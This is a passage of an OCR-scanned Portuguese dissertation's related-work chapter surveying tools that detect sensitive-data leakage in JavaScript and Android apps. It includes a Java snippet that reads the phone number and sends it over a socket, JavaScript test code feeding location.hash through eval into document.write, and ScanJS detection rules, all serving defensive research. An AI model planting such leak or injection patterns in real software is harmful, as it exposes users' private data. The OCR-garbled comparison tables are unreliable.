de informacao sensivel.

A revisao sistematica da literatura restrita apenas a linguagem JavaScript nao
apresentou um numero de resultados satisfatério, sendo necessario estendé-la também a
linguagem Java, no ambiente Android. Também sdo apresentados trabalhos que realizam
diferentes formas de analise estatica de codigo JavaScript, uma vez que a abordagem
TaintJSec possui como uma de suas contribui¢des sua prépria forma de analisar o codigo.

Embora as abordagens sejam distintas, é possivel agrupé-las em trés grupos:

e Anadlise de Pacotes
e Lista de Permissao

o Analise do Fluxo da Informacao

A seguir sao apresentadas as caracteristicas de cada grupo, com maior énfase no
grupo de analise de fluxo de informacao, pois é o grupo ao qual pertence o trabalho

apresentado nesta dissertacao.

3.1 Analise de Pacotes

A analise de pacotes é utilizada por trabalhos que fazem verificagdo no conteiido de pacotes
HTTP, antes que esses sejam transmitidos pela internet. A verificagdo busca por dados
sensiveis no campo de dados dos pacotes por meio de comparagoes entre as cadeias de
caracteres.

O trabalho de B. Pinto et al. [15] verifica o conteiido de pacotes antes que este
seja cifrado para o protocolo HTTPS (Hypertext Transfer Protocol Secure). Para tanto,

foi necessario realizar modificagoes nas bibliotecas nativas do sistema operacional. A

18
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biblioteca OpenSSL!' foi modificada para possibilitar a verificacao de dados sensiveis nos
campos do pacotes. A abordagem utiliza-se de duas regras de verificacdo: Cadeias
de Caracteres Correspondentes e Expressoes Regulares. A verificagao de Cadeia de
Caracteres Correspondentes tenta encontrar alguma informagao sensivel no contetido do
pacote, em textos limpos, sem altera¢oes. Devido possuir o maior custo de processamento,
a verificacao por Expressoes Regulares so ¢ utilizada quando a verificagao por Cadeia de
Caracteres nao consegue encontrar nenhuma informacao sensivel. A abordagem permite
que o usuario escolha o que fazer no exato momento em que um vazamento de informacao
¢ identificado, podendo negar o envio do pacote, habilitar o envio do pacote ou sanitizar
a informagdo antes de permitir o envio. Para a tultima agdao, a abordagem troca os
caracteres da informacao por quantidades iguais do caractere numérico zero, mantendo
o tamanho da palavra, porém com o contetdo repleto de 0’s. A abordagem foi testada
em um dispositivo moével e possui como limitacao a identificacdo de dados sensiveis que
tenham sofrido algum tipo de ofuscagdao, como um processo de criptografia personalizado
ou uma simples codificagdo em base 64, por exemplo.

Kuzuno et al. [16] desenvolveram uma abordagem de analise de pacotes que utiliza
clusterizacao para detectar o vazamento de dados sensiveis. O agrupamento de dados do
trafico de rede é utilizado para criar assinaturas, onde pacotes contendo dados sensiveis
formam um cluster de assinatura que é diferente do cluster formado pelos pacotes que
nao possuem qualquer informacao sensivel. A abordagem verifica a similaridade entre dois
pacotes de uma aplicacao, por meio da distancia de informagao nos pacotes, levando em
consideracao o IP (Internet Protocol) de destino, porta e outras informagoes do cabegalho
HTTP. Assim, é possivel identificar qual pacote contém informacao sensivel daquele que

nao tem, mesmo que os dados do pacote estejam ofuscados.

1 E uma biblioteca de criptografia para os protocolos Transport Layer Security (TLS) e Secure Sockets
Layer (SSL). Maiores informagoes em https://www.openssl.org
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3.2 Lista de Permissao

Lista de permissao é utilizada para que somente aqueles que nelas estiverem tenham
acesso as informagoes sensiveis do usuario. Algumas listas possuem um maior nivel
de detalhamento a ponto de conseguirem controlar quais métodos nativos podem ser
executados por cada aplicacdo. A vantagem de usar as listas é que o usudario pode
controlar cada aplicagao de modo personalizado, podendo restringir permissoes atribuidas
as aplicagdes durante sua instalacao. A desvantagem é que, para fazer o uso correto das
listas, o usuario precisa ter um nivel de conhecimento intermediario para entender o que
estd acontecendo, precisa conhecer o que cada método do Android é encarregado de fazer.
Caso contrario, estara restringindo métodos ou aplicagées que nao sdo maliciosas, fazendo
com que as mesmas nao tenham um bom funcionamento.

Wang et al. [17] desenvolveram o ProtecteDroid, uma abordagem que utiliza lista
de permissao para controlar quais aplicacoes podem ter acesso aos dados sensiveis no
sistema operacional Android. O nivel de granularidade das permissoes da lista é All-or-
None, onde a aplicacao tem acesso a todos os dados sensiveis que necessita ou todos os
dados sensiveis solicitados retornam valores nulos, porém os sources estao disponiveis a
qualquer aplicacao. A abordagem é configuravel e permite que o usuario possa informar
quais aplicagoes podem acessar dados sensiveis. Todas as aplicagoes enviadas para a
lista passam a receber valores nulos a partir dos tainted sources, tais como o nimero
do telefone, ID do dispositivo, IMEI, coordenadas de localizagao geografica, contetido de
SMS, agenda de contatos, dados de redes WiFi, etc. Os autores informam que, a solugao
possui granularidade All-or-None para facilitar o uso para o usuario, uma vez que um
nivel de granularidade mais detalhado exigiria um nivel de conhecimento técnico que a
maioria dos usudrios nao possuem.

Hsiao et al. [18] desenvolveram o PasDroid, uma abordagem baseada no TaintDroid
[27], porém estendendo o campo de controle das informagoes sensiveis para o usuario. O
PasDroid é uma abordagem que faz uso de lista branca para controlar quais informagoes
sensfveis que uma aplicacdo pode ter acesso. E possivel que o usudrio inclua novos
dados para serem catalogados na lista, da mesma forma também pode criar grupos de
tipos de informagoes sensiveis, podendo assim liberar todo um grupo de informagoes
correlacionadas a uma determinada aplicacdo. Para capturar as mensagens que estao
saindo do dominio da aplicagdo, o PasDroid usa a interface do POSIX (Portable Operating
System Interface for uniX), capturando as mensagens de saida. Ao identificar que uma
mensagem de saida contém uma informacgao sensivel, é feita uma verificagdo na lista
para checar se o aplicativo em questao tem autorizacao do usuario para fazer isso. Se
tiver, a informacdo segue normalmente, caso contrario o usuario é informado sobre a

possibilidade de vazamento de informacao, possibilitando assim, que o usuario tome as
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devidas medidas, impedindo ou habilitando a acao. Como limitacoes da abordagem, o
PasDroid nao leva em consideracao os dados do usuarios que sdo codificados em base 64,
possui uma sobrecarga de processamento superior ao do TaintDroid e, exige que o usuario
tenha bom conhecimento técnico para que possa avaliar que medidas tomar quando um

vazamento de informacao for detectado.

3.3 Analise do Fluxo de Informacao

A anadlise de fluxo de informacio é utilizada por trabalhos que fazem a verificagdo dos
passos de funcionamento de um programa. A seguir sdo apresentados os trabalhos que
fazem parte desse grupo.

Vineeth Kashyap et al. [19] propdem um interpretador abstrato de JavaScript
(JSAI) que utiliza uma representagao intermediaria do cédigo, denominada notJS, que
corresponde a um produto reduzido de um niimero de subanalises essenciais que permitem
diferentes configuragoes para a analise estatica.

Por meio do notJS é gerada uma AST, a qual é utilizada para percorrer o codigo e
realizar a analise de fluxo. Os autores validaram a AST por meio de uma comparacao com
a ferramenta comercial SpiderMonkey [55]. Para tanto, construiram manualmente 243
casos de testes e executaram todos no SpiderMonkey e depois no notJS, e entao verificaram
as saidas e compararam suas diferencas. O JSAI é implementado em linguagem Scala [56]
versao 2.1 e é configuravel, podendo executar com diferentes configuragoes de sensibilidade
e profundidade da anélise do contexto, permitindo fazer o balanceamento entre precisao e
custo da andlise. A avaliacao dos resultados foi realizada usando benchmarks para medir o
tempo de execugao do JSAI com diferentes configuragoes de sensibilidade. Mas, diferente
do TaintJSec, o JSAI ndo analisa a execugao da fungio eval e de qualquer outra insercao
de codigo dinamico, como a criacao de fungdes utilizando o objeto new Function, por
exemplo.

O JSNose [20] é um abordagem que usa a andlise estatica em combinac¢do com a
andlise dindmica para “farejar” trechos de codigo JavaScript em um programa, procurando
blocos de c6digo como instrucao de switch vazia, catch sem argumento e outras situagoes
que servem de apoio ao desenvolvedor. A ideia é que este possa melhorar o cédigo ou
realizar debug. O JSNose é feito em linguagem Java e a andlise estatica é realizada
utilizando o Rhino [57], que também realiza a andlise sintatica e fornece a AST, a qual
¢ consumida em busca dos blocos de textos. Contudo, o JSNose nao consegue analisar
a execucao da funcdo eval e outras criagdes dinamicas de codigo utilizando somente a
analise estatica, tal como o TaintJSec consegue. Por isso, o JSNose executa a analise
dindmica para complementar a lacunas deixadas pela andlise estatica. Para avaliar

seus resultados, os autores organizaram 11 aplicacbes e analisaram cada uma delas,
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enumerando a quantidade de situac¢oes encontradas. Como limitagoes da abordagem,
os autores citam que o JSNose nao checa todos as formas possiveis de criacao de objetos,
mas analisa somente objetos criados com new e a fungao Object.create().

A ferramenta hibrida desenvolvida por Sora Bae [4] combina anélise estdtica no
codigo JavaScript com testes concolic? para gerar testes autométicos para programas que
contém campos de entrada de dados, como formularios que solicitam nome e data de
nascimento, por exemplo, mas que nao tratam os dados inseridos, sendo possivel enviar
qualquer valor. A ferramenta foi desenvolvida sob o framework SAFE [58, 59, 60] e faz
uso do analisador estatico desse framework para extrair informagoes sobre os campos de
entrada de dados, para entdo, criar testes apropriados para cada tipo de campo. Com a
ferramenta executando de modo simbdlico, é possivel detectar caminhos nao percorridos
no fluxo de cédigo e a partir disso criar regras de entrada de dados que possam percorrer
esses caminhos inicialmente nao percorridos. Ja a aplicagao executando em modo concreto
fornece valores de dados que podem ser utilizados tanto para os testes simbdlicos quanto
em testes concretos.

Jacques A. Pienaar et al. [21] desenvolveram uma extensdao para o Closure
Compiler?, denominada JSWhiz, para detectar roubo de meméria em codigos JavaScript.
A abordagem utiliza analise estatica para buscar por trechos de codigos com padroes
previamente definidos que sinalizam o roubo de memoria. Esse roubo de memoéria é
caracterizado por uma variavel ou um método que nao é mais utilizado durante o fluxo
de cédigo, mas nao ¢é finalizado pelo Coletor de Lixo? (Garbage Collector). Isso acontece
porque a varidvel possui um ou mais Escutadores de Eventos® (Event Listener) atrelados
a ela, e mesmo que um valor nulo seja atribuido a variavel o Fvent Listeners continua
existindo, entao o Garbage Collector nao consegue liberar a memoria. Essa ferramenta
utiliza a AST para realizar a andlise de cédigo, porém os autores nao informam se a
estrutura de arvore sintatica é gerada pelo Closure Compiler ou pelo JSWhiz. Todos os
testes, assim como toda sua avaliagao, foram feitos manualmente.

Yoonseok Ko et al. [22] apresentaram uma abordagem que faz uso do analisador
estatico do SAFFE para realizar analise estatica de larga escala em aplicacoes JavaScript,
nao sendo necessario verificar o c6digo inteiro, mas somente alguns trechos. Esses trechos
de codigo sao selecionados por quem deseja realizar a analise, formando um subconjunto do

c6digo original. Entao, o cddigo inteiro € verificado inicialmente por um pré-analisador, o

2 Palavra gerada pela unido dos termos concrete e symbolic

3 https://developers.google.com/closure/compiler /

4 Processo usado para a automacao do gerenciamento de meméria. Com ele é possivel recuperar uma
area de memoria inutilizada por um programa, o que pode evitar problemas de vazamento de memédria,
resultando no esgotamento da memoria livre para alocacao.

5 Procedimento ou funcdo de um programa que espera que um gatilho ocorra para que uma tarefa
seja executada. Sao exemplos de gatilhos os cliques, os movimentos do mouse, o pressionamento de teclas,
etc.
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qual procura por trechos de codigos semelhantes aos previamente selecionados e para essa
tarefa utiliza técnicas de aproximacao. Como resultado, fornece a demarcacao de todos
os trechos semelhantes. Essa demarcagao do codigo é, entao, repassada ao analisador
estatico para ser utilizada como referéncia para analisar somente os trechos encontrados
pelo pré-analisador. Foram criados dois pré-analisadores, ambos usando o analisador
WALA [61], onde um analisador executa de modo mais rigoroso que o outro, mais
exigente quanto a aproximacao dos trechos de cédigo previamente selecionados. Assim,
o utilizador da abordagem pode escolher entre possuir um pre-analisador mais exigente
ou um mais escalavel. Para validar seu trabalho, os autores testaram a abordagem com
cinco configuracoes diferentes. Essas configuragoes foram testadas em cinco websites,
cinco bibliotecas JavaScript e cinco benchmarks. Os resultados foram apresentados em
uma tabela que mostra o tempo que cada configuracao levou para executar em cada uma
das aplicacoes.

Vineeth Kashyap et al. [23] sdo autores de uma abordagem para fazer refinamento
de analises estaticas no JavaScript. O refinamento serve para aumentar a precisao da
andlise evitando problemas com valores implicitos no codigo. A abordagem possui quatro
tipos de refinamento: tipo de dominio abstrato, identificacdo de condigoes relevantes,
filtragem de informacoes e propagacao. Para criar a AST do cédigo JavaScript os autores
usaram o Rhino [57] e para realizar a andlise estdtica utilizaram o JSAI [19]. Para
avaliar a eficiéncia da abordagem utilizam benchmarks, os quais foram agrupados em trés
categorias: Standard — com o SunSpider [62] e o Octane [63], os quais sdo usados pelos
navegadores para testar a performance das implementacoes JavaScript; Opensrc — para os
programas JavaScript extraidos da web de diferentes projetos open source, com o LINQ)
for JavaScript [64] e o Defensive JS; Emscripten — para codigos gerados por maquinas
por meio da compilagao de programas C/C++ que usam o Emscripten LLVM [65]. Para
cada categoria de benchmark a abordagem foi executada para avaliar a quantidade de nés
criados pela AST gerada pelo Rhino, pois a quantidade de ndés gerados é correlacionada
com a performance da abordagem. Quanto mais nds possuir mais lenta sera.

O trabalho de Daiping Liu et al. [24] utiliza a andlise estatica para buscar c6digos
JavaScript com agoes maliciosas em documentos PDF (Portable Document Format). A
abordagem realizada uma extracao do codigo JavaScript presente no documento e insere
métodos proprios no inicio e no fim de cada bloco de cédigo encontrado. Assim, os autores
procuram entender como ¢ realizada a execucao do cédigo presente no PDF e procuram
detectar chamadas de métodos que possam criar novos arquivos infectados, como malwares
por exemplo.

O TrustDroid [25] ¢ um analisador estatico que foi criado como solugdo para o
problema do vazamento de informacao sigilosa em smartphones que usam o sistema

operacional Android. O modelo assume que dispositivos médveis podem executar
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aplicagoes maliciosas enquanto acessam informacoes coorporativas, por meio da crescente
pratica de BYOD (Bring Your Own Device), e assim acabam transferindo informagoes de
cunho estratégico em modo furtivo. Embora o TrustDroid seja um analisador estatico,
¢é possivel opera-lo no modo dinamico, porém o elevado custo de processamento exigido
pelos algoritmos e o consumo demasiado de bateria acabam criando uma sobrecarga de
utilizacdo de memoéria e CPU (Central Processing Unit) que tornam o modo dindmico
inviavel. Em contrapartida, a analise estatica do TrustDroid aproveita a maquina virtual
Dalvik, que é a maquina presente no ambiente Android, para diminuir a sobrecarga. A
abordagem realiza andlise semantica no arquivo compilado para poder rastrear os dados
no fluxo de execucao da aplicagdo. O analisador semantico do TrustDroid foi construido
a partir do gerador de analisadores de linguagem, o ANTLR (ANother Tool for Language
Recognition), e do conjunto de simbolos Dalvik Byte Code. O analisador é responsavel por
processar a estrutura de um arquivo compilado DEX (Dalvik EXecutable) e apresentar o
fluxo de execucao da aplicagdo em uma estrutura de arvore. A Figura 3.1 apresenta um
exemplo de um codigo-fonte de um programa qualquer, que ao ser compilado gera um
arquivo DEX. Este arquivo, por sua vez, passa pelo analisador semantico que fornece a

estrutura do bytecode em formato de arvore, conforme ilustra a Figura 3.2.

/* retrieve local phone number*/
TelephonyManager phoneMgr=(TelephonyManager)
this.getSystemService(Context. TELEPHONY_SERVICE);
String number=phoneMgr.getLine1Number();

Trustdroid_test.sendinfo(number);
class Trustdroid_test

{
public static void sendinfo(String phoneNumber) throws
UnknownHostException, IOException

Socket socket=new Socket(”127.0.0.1",123);

OutputStreamWriter writer=new OutputStreamWriter
(socker.getOutputStream());

writer.write(phoneNumber);

b
b

Figura 3.1. Exemplo de um trecho do c6digo-fonte de um programa.

A arvore apresenta nés virtuais que servem para identificar qual a estrutura das
subarvores, esses nos possuem o prefixo I__, como o n6 I__METHOD, o qual indica
que sua subarvore possui um método. Sao essas nomenclaturas presentes na estrutura da
arvore que servem de base para o controle da analise estatica. No TrustDroid, as regras do
taint propagation dividem-se em cinco: regras de propagacao primitiva, propagacao por
referéncia, propagacao entre processos, propagacao entre bibliotecas nativas e propagacao

em arquivos armazenados em disco. Os autores testaram a abordagem em um dispositivo
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Figura 3.2. Estrutura de arvore gerada pelo cédigo-fonte da classe Trustdroid_ test.

Android e possui a limitagdo de nao conseguir acompanhar o fluxo de aplicagdes que usem
bibliotecas personalizadas por meio do JNI (Java Native Interface).

Um trabalho voltado para identificar c6digo malicioso pelo lado do servidor (server-
side) foi desenvolvido por Z. Yang et al. [26], denominado LeakMiner, cujo objetivo é
identificar aplicagoes maliciosas nos centros de distribuicao de aplicativos, antes que os

aplicativos sejam disponibilizados para os usuarios.

Fré-processamento

Transformagao :> Construgdo | .
} do Grafo ‘*~--'3

&'j Codigo DEX e
Aplicagao Pm??““ [ > WVazamento
Android |/ - B aint o
‘X‘A Carregamento Identificagio (?«/ —
de Metadados | || > de Dados

Sensiveis

Figura 3.3. Arquitetura geral do LeakMiner.

A Figura 3.3 apresenta a estrutura do LeakMiner, que divide-se em trés etapas para
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fazer o processo de verificagdo do coédigo de um aplicativo:

I. Pré-processamento: o LeakMiner transforma o arquivo DEX para bytecode JAVA,
por meio de engenharia reversa. Nesse codigo JAVA ¢é realizada andlise estatica para criar
um grafo da execucao da aplicacao.

I1. Identificacao de dados sensiveis: é verificado quais permissdes que o aplicativo
possui, para isso ¢é realizada a extragao de metadados do arquivo Manifest da aplicacao.
Sao esses metadados que possibilitam ao LeakMiner a identificacdo de quais informagoes
sensiveis a aplicacao tera acesso.

ITI. Propagacao do fluxo de informagao: por fim, é realizada a analise de fluxo de
execucao da aplicacdo. Uma técnica de andlise de fluxo da informagao é aplicada para
encontrar todas as instrugoes que provenientes de um tainted source. Se um tainted data é
propagado para a rede ou armazenado no sistema local, entdao um caminho de vazamento
¢ identificado e reportado ao usuério.

O LeakMiner [26] é considerado, pelos autores, a primeira abordagem server-side de
analise estatica para deteccao de vazamento de informacao sensivel no sistema Android.
A abordagem consegue interceptar o vazamento das seguintes informacgoes sensiveis:

[. ID do dispositivo: é o numero identificador dos smartphones. Por ser um
numero utilizado como autenticador de usuario em muitos aplicativos, entao é considerado
perigoso caso seja enviado em conjunto com outras informagoes sensiveis. A abordagem
trata tanto o nimero IMEI (International Mobile Equipment Identity) quanto o ID de
assinante como sendo ID do dispositivo. Essa informacao sensivel s é verificada quando
o arquivo Manifest da aplicagdo possui a permissao READ PHONE_STATE.

II. Localizacao: é a informacao que contém a localizacao atual do dispositivo.
Aplicagoes maliciosas podem usar essa informacao para monitorar o deslocamento
e as rotinas do dia a dia do wusuario. Para que a aplicacdo tenha acesso a
esse tipo de informacao é preciso que ela solicite ACCESS FINE LOCATION e
ACCESS _COARSE _LOCATION.

ITI. Ntmero do celular: da mesma forma que o ID do dispositivo, o niimero do celular
pode ser utilizado como autenticador o usuario. A abordagem trata tanto o nimero
do celular quanto o nimero do cartdo SIM (Subscriber Identity Module) como sendo
informacao sensivel se a permissao READ PHONE _STATEFE for utilizada pela aplicacao.

IV. Agenda de contatos: a abordagem preocupa-se em acompanhar a informacgao da
agenda de contatos quando uma aplicagao faz uso da permissao READ _CONTACT.

V. Mensagem SMS: o LeakMiner assume que o vazamento de mensagem de texto
SMS (Short Message Service) possui maior impacto ao usuério, pois todas as mensagens
recebidas ou enviadas pelo usuario contém muita informagao pessoal. As aplicagoes s
podem ter acesso as mensagens se a permissao READ SMS for concedida.

VI. Calendario: muitos usuarios guardam datas importantes ou agendam eventos
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pessoais mantendo-os armazenados no calendéario do Android, sendo um possivel alvo de
aplicagoes maliciosas, que podem capturar essas informagoes caso tenham a permissao
READ _CALENDAR.

Essas informagoes podem ser carregadas mediante a execucdo de métodos nativos
e nao precisam obrigatoriamente estar no inicio do fluxo de execucdo de uma aplicacao
maliciosa, mas podem ser executados a qualquer momento. Por isso o LeakMiner, ao criar
o grafo do fluxo de execugao da informagao em uma aplicacao, define os taint sources para
entao realizar a analise estatica percorrendo todos os possiveis caminhos que levem a um
taint sink, encontrando assim um caminho de vazamento de informagao em potencial. A
abordagem foi testada em uma maquina Intel Xeon com o sistema operacional Debian
e uma amostragem de 1750 aplicagoes, resultando na identificacao de 145 aplicacoes
maliciosas e 160 falsos positivos devido a insuficiéncia de informagao de contexto, o que
caracteriza uma limitacao da abordagem. Aplicar andlise sensivel ao contexto poderia
eliminar esses falsos positivos, mas deixaria o processo de analise mais lento.

Um outro trabalho denonimado TaintDroid [27] usa taint analysis em aplicagoes
Android para detectar vazamento de informacao. Para tal, sdo realizadas alteragoes no
c6digo nativo do sistema operacional para permitir que toda requisicao de um aplicativo
seja monitorada, para que seja possivel identificar o momento em que um aplicativo
acessa um taint source e realiza o carregamento de dados sensiveis. A marcagao dos
registradores ¢ realizada em um banco de dados na memoria principal, armazenando o
numero do registrador. Uma vez que a base de dados possua um ou mais registradores
contendo tainted data, o TaintDroid passa a considera-los como sendo taint sources,
podendo atribuir dados sensiveis a outros registradores mediante fungdes de atribuicao
de variaveis. Portanto, a abordagem possui uma politica de identificacdo de taint
propagation, servindo tanto para identificar dados sensiveis, que estao sendo propagados
para outros registradores, quanto para atualizar a sua base de dados.

A técnica de propagagao utilizada na abordagem observa todas as fungoes de
atribuicao, chamadas e retorno de métodos de classes nativas e gravacao de tainted data em
arquivos fisicos. Para operagoes de atribuicao, o método assume que, se o registrador A
é um tainted data e passa o seu valor ao registrador B, logo, o registrador B também sera
tainted data. Para as classes nativas, o método de propagacao assume que a classe inteira é
marcada com taint tag positivo se os seus campos de dados receberem um tainted data. Ja
os arquivos fisicos sdo marcados com taint tag positivo se receberam escrita de um tainted
data, e toda funcao de leitura que referencia um arquivo marcado é tambem marcada com
o flag. Testes realizados com o TaintDroid utilizando 30 aplicativos mostraram que em
média a sobrecarga de processamento do dispositivo é de 14%. Os resultados mostraram
que 20 aplicacoes das 30 avaliadas possuiam uma ou mais ocorréncias de uso indevido das

informagoes dos usuarios.
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Patnaik et al. [66] desenvolveram uma ferramenta de andlise estatica de codigo
JavaScript denominada JSPrime, para a deteccao de cdédigo malicioso. Essa ferramenta
utiliza um conjunto de taint sources e sinks e verifica o fluxo do cdédigo procurando
encontrar um caminho de informagao sensivel a um sink. Assim como o TaintJSec, o
JSPrime utiliza um codigo intermediario para realizar a verificacao do fluxo de cédigo.
Porém, o analisador do JSPrime nao executa verificagao na funcao eval. Em vez disso,
ele trata a funcao eval como um sink e qualquer chamada a funcao eval. Por exemplo, o
codigo eval(“ ’ 7 7) acusa um vazamento de informagao. Por nao verificar a fun¢ao eval o

JSPrime acusa falso positivo, como mostra a Figura 3.4.

PRIME static javascript analyzer

b = eval("" "");

Scan Report | Dynamic Execute

Active Sink
XSS Found - Source reached to the sink

Figura 3.4. Exemplo de execugao do analisador JSPrime.

O falso positivo acusado pela ferramenta JSPrime nao ocorreria se o escopo da
funcao ewval fosse analisado, como ocorre no TaintJSec.

Uma ferramenta denonimada ScanJS [67] foi desenvolvida por Paul Theriault
para realizar andlise estatica no cédigo JavaScript baseada em padroes de assinatura.
Essa ferramenta ¢ implementada em Node.js e utiliza o médulo Acorn® para criar uma
representacao intermediaria do codigo JavaScript em formato de AST. Essa AST é
percorrida em busca dos padroes de assinatura previamente definidos pela ferramenta
e o resultado da andlise é apresentado ao usuario. No resultado da analie, a ferramenta
informa quais padroes foram encontrados e indica também a linha em que encontram-se
no codigo original. A Figura 3.5 mostra a area de cadastro de novos padrdes de assinatura
da ferramenta ScanJS.

Por ser baseada em padroes, a ferramenta Scan.JS consegue identificar os pontos

de vulnerabilidade no cédigo JavaScript a partir dos trechos de coddigo que satisfacam

6 https://www.npmjs.com/package/acorn
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Rules

Load new rules

Load a JSON rules file to change rules:
Selecionar arquivo... | Nenhum arquivo selecionado.

Current rules

Rule Name Rule Description Rule Definition

eval Controlling of the first argument [eva'-t}
to eval(...) results in direct
script execution.

global.eval Controlling of the first argument [E_an-;-eva'-t:
to eval(...) results in direct
script execution.

new Function Controlling of the first argument Ineh Function()
to Function(...) results in direct
script execution.

Figura 3.5. Area de cadastro de regras de assinaturas do analisador ScanJsS.

as regras cadastradas. Isso significa que a ferramenta nao é capaz de detectar cédigos
ofuscados que executem as mesmas fungoes e métodos presentes nas regras.

Monteiro et al. [68] criaram a ferramenta JSpwn para realizar andlise estatica
no codigo JavaScript. JSPwn é uma versao modificada do JSPrime que une recursos
do Scanjs para detectar vulnerabilidades. Com o mecanismo do Scan.JS para detectar
vulnerabilidades e o recurso de analise de fluxo de codigo do JSprime, a ferramenta tem
a capacidade de detectar pontos de vulnerabilidades ao percorrer o cédigo. Mas por
utilizar um analisador de c6digo de um trabalho existente, acaba herdando também suas
limitagoes. Por isso, também nao avalia o escopo da funcao eval e isso acarreta diversos
falso positivo. A Figura 3.6 mostra um exemplo de cdédigo JavaScript sendo analisado
pela ferramenta JSPwn.

Na Figura 3.6 é possivel observar que o analisador nao conseguiu identificar o
vazamento na linha 4 e na linha 9. Isso aconteceu porque o analisador é baseado em
regras de assinatura e a passagem de objetos nio é contemplada. E possivel observar na
figura, que a ferramenta conseguiu detectar o uso da fun¢do ewval na linha 7, mas nao
conseguiu detectar os objetos atribuidos para as varidaveis na linha 2 e na linha 8, as
quais sao executadas logo em seguida sem qualquer deteccao. Esse exemplo de cédigo é
detectado pelo TaintJSec por meio da propagacao de taint tag e pelo método de analise
de escopo da funcao ewval.

Outros trabalhos que tinham como objetivo identificar o vazamento de informacao



3. TRABALHOS RELACIONADOS 30

// teste 1

b = eval;
a=b("location.hash");
b("document.write(a)");

// teste 2
eval("d=location. hash;"
doc document;
doc.write(d);

Results
Line Rule Source Description of Issue

Line eval eval() Controlling of the first argument to evall...)
7 results in direct script execution.

Figura 3.6. Exemplo de execucdo do analisador JSpwn.

sensfvel, resultaram em ferramentas como JSLint’, Jalangi® e o jsTaint?, porém todos eles
apresentam limitagoes, seja na verificacao da funcao ewval, na criacao de codigos dinamicos

ou na correta interpretacao de codigos ofuscados.

7 http://www.jslint.com
8 http://people.eecs.berkeley.edu/~gongliang13 /jalangi_ ff/demo_ integrated.htm
9 https://github.com/idkwim /jsTaint
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3.4 Discussao

De acordo com a Tabela 3.1 é possivel observar que as abordagens preocupam-se em
ausentar a participacdo do usuario durante sua execucao. O que é compreensivel, pois
os usuarios muitas vezes nao possuem o conhecimento técnico necessario para auxiliar
a abordagem nas decisdoes que devem ser realizadas. O ProtecteDroid e o PasDroid,
por exemplo, necessitam da participacao do usuario, porém sem exigir muito do mesmo,
sendo necessario apenas uma escolha binaria, onde o usuario informa se uma determinada
aplicacao pode ter acesso as informacoes sensiveis ou nao.

Visto que as lojas oficiais de distribuicao de aplicativos possuem seus proprios
métodos de deteccao de aplicagoes maliciosas e, que outros centros de distribuicao nao
oficiais possuem pouca ou nenhuma rotina de andlise de seguranca, é possivel observar
na Tabela 3.1 que a maior parte dos trabalhos foram criados para executar no lado do
cliente (client-side), onde nao existe qualquer rotina nativa para detecgdo de vazamento
de informacao. Além disso, as abordagens mostram uma preferéncia para testes realizados
no mundo real, talvez para ausentar qualquer limitacao imposta pelos emuladores.

Assim como a maioria dos trabalhos, o TaintJSec é um método de analise estatica
que foi testado e aplicado no mundo real e executa em modo auténomo, mas diferencia-se

dos demais métodos por poder ser executado tanto do lado do cliente quanto do servidor.

Tabela 3.1. Caracteristicas dos trabalhos relacionados.

Tipo de Analise Ambiente de Teste | Lado de Execucao Modo de Execugao

QUi DM | EM | LP | PH | Mundo Real Emulador | Cliente | Servidor ~ Aut6énomo | Supervisionado

JSAT [19]
JSNose [20] v
Sora Bae [4]
JSWhiz [21]

Yoonseok Ko [22]
Vineeth Kashyap [23]
Daiping Liu [24]

TaintDroid [27] v
TrustDroid [25]
Leakminer [26]
ProtecteDroid [17] v
Nedwons Findings [15]
PAsDroid [18] v
Kuzuno [16]
TaintJSec v

SSKISKNS SIS

A AYEA R AR RS
SIS KSISKSS KKK

AN

ASAYAS

SNKSKIS ISKSKIKKNSKS

A AR
ASAN

Legenda
DM = Anélise Dindmica com Marcagao , EM = Anélise Estatica com Marcagao ,
LP = Listas de Permissdo , PH = Anélise de Pacotes HTTP

Na Tabela 3.2 sao apresentadas limitacoes e caracteristicas dos trabalhos
relacionados que realizam analise de fluxo no JavaScript.
E possivel notar que muitos trabalhos aproveitam o analisador de algum trabalho

predecessor, como é o caso do JSNose que utiliza o Rhino e os trabalhos de Sora Bae
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Tabela 3.2. Limitacoes e caracteristicas dos trabalhos relacionados com anélise em
JavaScript.

Suporta criagao Suporta funcdo Possui analisador Suporta cédigo ofuscado?
dindmica de cédigo? eval? préprio? JSCompress | Aaencode JSFuck | JSCrambler | Packer

JSAI | v
JSNose v
Sora Bae ‘
Yoonseok Ko
Vineeth Kashyap ‘

Autor

Daiping Liu
JSPrime
JSpwn
ScanJS
JSLint

Jalangi

SSKKIKSS
SSKKIKSS

ASA

jsTaint
TaintJSec

AN NANENENANANEN
ARSI AR AR
AN N NENERANAN
KKK

et al. [4] e Yoonseok Ko et al. [22] que utilizam o framework SAFE para realizar a
analise estatico do cédigo. Como consequéncia, acabam herdando também as limitagoes
do analisador, como é o caso do JSAI, que nao é preparado para analisar c6digos criados
dinamicamente, e é utilizado como analisador estatico no trabalho de refinamento de
Vineeth Kashyap et al. [23], que apresenta as mesmas limitagdes. Também é possivel
observar que, embora suportem a fun¢ao eval, alguns trabalhos nao conseguem analisar
os c6digos quando estes apresentam-se ofuscados por ferramentas como o Aaencode e o
JSFuck. Isso se deve ao método adotado para analisar o argumento enviado a fungao
eval, o qual trata somente textos limpos, sem qualquer ofuscacao. Tal limitacao poderia
ser superada se esses trabalhos utilizassem a técnica dos tainted positions criada por este
trabalho e explicada mais adiante, no Capitulo 4.

Em comparacao com o TaintJSec, os demais trabalhos apresentam limitagoes de
detecgdo de vazamento de informacgao quando o codigo JavaScript utiliza fungoes de
criagao de codigo dinamico, como a fungao eval. As ferramentas de ofuscacao Aaencode,
JSFuck e Packer usam técnicas de criacao de cédigo em tempo de execugdo, por isso

métodos como o JSNose e o JSPwn nao conseguem analisar o c6digo ofuscado.



Capitulo 4

TaintJSec

Este capitulo apresenta o TuintJSec, uma abordagem de andlise estatica de marcagao de
codigo JavaScript para identificar e prevenir o vazamento de informacao.

O TuintJSec realiza, antes de tudo, uma etapa de extracao e agrupamento de todo
o codigo JavaScript presente na aplicacdo. Em seguida, o codigo agrupado é enviado
a um analisador, que a partir dele, constréi uma representagao da estrutura do fluxo
de sua execugdo em formato de arvore sintdtica abstrata (AST). Com a arvore sintatica
conhecida, ¢ realizada a terceira etapa da abordagem, percorrendo as instrugoes do coédigo
e acompanhando o fluxo das informagoes sensiveis.

Logo, a abordagem pode ser dividida nas seguintes fases: identificacao e extragao
de cédigo; criacao da arvore sintatica abstrata; e andlise do fluxo da informacao, como

apresentado na Figura 4.1.

33
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Figura 4.1. Fases da abordagem.

4.1 Identificacao e Extracao de Cédigo

